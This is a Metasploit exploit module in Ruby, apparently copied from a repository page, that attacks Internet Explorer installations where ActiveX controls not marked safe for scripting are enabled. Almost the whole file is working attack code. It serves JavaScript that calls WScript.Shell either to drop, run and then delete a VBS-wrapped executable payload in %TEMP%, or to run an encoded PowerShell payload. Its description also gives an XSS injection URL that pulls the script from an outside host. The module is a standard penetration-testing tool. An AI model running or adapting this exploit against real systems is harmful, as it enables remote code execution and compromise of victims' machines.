134 lines
4.6 KiB
Ruby
134 lines
4.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/util/exe'
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require 'msf/core/exploit/powershell'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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include Msf::Exploit::Powershell
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
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'Description' => %q{
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This exploit takes advantage of the "Initialize and script ActiveX controls not
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marked safe for scripting" setting within Internet Explorer. When this option is set,
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IE allows access to the WScript.Shell ActiveX control, which allows javascript to
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interact with the file system and run commands. This security flaw is not uncommon
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in corporate environments for the 'Intranet' or 'Trusted Site' zones.
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When set via domain policy, the most common registry entry to modify is HKLM\
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Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
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which if set to '0' forces ActiveX controls not marked safe for scripting to be
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enabled for the Intranet zone.
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This module creates a javascript/html hybrid that will render correctly either
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via a direct GET http://msf-server/ or as a javascript include, such as in:
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http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
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</script>.
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IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from
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an x64 iexplore.exe.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'natron',
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'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # PSH and remove ADODB.Stream
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],
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'References' =>
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[
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[ 'URL', 'http://support.microsoft.com/kb/182569' ],
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[ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
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[ 'URL', 'http://support.microsoft.com/kb/870669']
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],
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'DisclosureDate' => 'Sep 20 2010',
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows x86/x64', { 'Arch' => ARCH_X86 } ]
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],
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'DefaultOptions' =>
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{
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'HTTP::compression' => 'gzip'
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},
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'DefaultTarget' => 0))
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register_options(
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[
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OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]),
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], self.class
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)
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end
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def on_request_uri(cli, request)
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# Build out the HTML response page
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var_shellobj = rand_text_alpha(rand(5)+5)
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p = regenerate_payload(cli)
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if datastore['TECHNIQUE'] == 'VBS'
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js_content = vbs_technique(var_shellobj, p)
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else
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js_content = psh_technique(var_shellobj, p)
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end
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print_status("Request received for #{request.uri}")
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print_status("Sending exploit html/javascript");
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# Transmit the response to the client
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send_response(cli, js_content, { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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def vbs_technique(var_shellobj, p)
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var_fsobj = rand_text_alpha(rand(5)+5)
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var_fsobj_file = rand_text_alpha(rand(5)+5)
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var_vbsname = rand_text_alpha(rand(5)+5)
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var_writedir = rand_text_alpha(rand(5)+5)
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exe = generate_payload_exe({ :code => p.encoded })
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vbs = Msf::Util::EXE.to_exe_vbs(exe)
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vbs_content = Rex::Text.to_hex(vbs)
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# Build the javascript that will be served
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js_content = %Q|
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//<html><head></head><body><script>
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var #{var_shellobj} = new ActiveXObject("WScript.Shell");
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var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
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var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
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var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
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#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
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#{var_fsobj_file}.Close();
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#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
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#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
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//</script></html>
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return js_content
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end
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def psh_technique(var_shellobj, p)
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cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
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js_content = %Q|
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//<html><head></head><body><script>
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var #{var_shellobj} = new ActiveXObject("WScript.Shell");
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#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
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//</script></html>
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return js_content
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end
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end
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